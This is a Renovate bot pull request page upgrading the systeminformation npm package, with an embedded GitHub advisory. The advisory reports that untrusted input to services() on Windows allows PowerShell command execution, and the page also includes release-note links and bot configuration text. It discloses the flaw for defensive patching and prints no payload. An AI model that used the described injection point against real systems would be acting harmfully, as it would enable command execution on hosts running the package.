An application that passes attacker-controlled input to services() on Windows can execute PowerShell commands with the Node.js process account's permissions. Depending on that account, commands may read or change accessible files, alter application data, or disrupt the service. I searched this repository for HTTP servers, route handlers, and listener calls and found none. services() is exposed through the package API and getDynamicData(), so a consuming application could make the input network-reachable if it forwards request data. A separate loopback HTTP harness did trigger the command through a query parameter, but that server was test code and is not part of this repository. The project's docs/security.html already warns that arbitrary untrusted input to services() needs caution because package sanitization does not cover every case.

Severity

  • CVSS Score: 7.8 / 10 (High)
  • Vector String: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Release Notes

sebhildebrandt/systeminformation (systeminformation)

v5.33.16

Compare Source

Full Changelog: sebhildebrandt/systeminformation@v5.33.15...v5.33.16

v5.33.15

Compare Source

Full Changelog: sebhildebrandt/systeminformation@v5.33.14...v5.33.15

v5.33.14

Compare Source

Full Changelog: sebhildebrandt/systeminformation@v5.33.13...v5.33.14

v5.33.13

Compare Source

Full Changelog: sebhildebrandt/systeminformation@v5.33.12...v5.33.13

v5.33.12

Compare Source

Full Changelog: sebhildebrandt/systeminformation@v5.33.11...v5.33.12

v5.33.11

Compare Source

Full Changelog: sebhildebrandt/systeminformation@v5.33.10...v5.33.11

[

[!IMPORTANT]
✂ PR body was truncated to here.


Configuration

📅 Schedule: (UTC)

  • Branch creation
    • At any time (no schedule defined)
  • Automerge
    • At any time (no schedule defined)

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@renovate
renovate Bot force-pushed the renovate/npm-systeminformation-vulnerability branch from 9d3e533 to f3c3ee7 Compare November 4, 2026 07:04
@renovate renovate Bot changed the title chore(deps): upgrade systeminformation to v5.33.14 [SECURITY] chore(deps): upgrade systeminformation to v5.33.16 [SECURITY] Nov 4, 2026
@renovate
renovate Bot force-pushed the renovate/npm-systeminformation-vulnerability branch 2 times, most recently from d247e07 to a80825d Compare November 8, 2026 21:53
@renovate
renovate Bot force-pushed the renovate/npm-systeminformation-vulnerability branch from a80825d to 8b49467 Compare November 11, 2026 21:21

This branch has not been deployed

No deployments
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

0 participants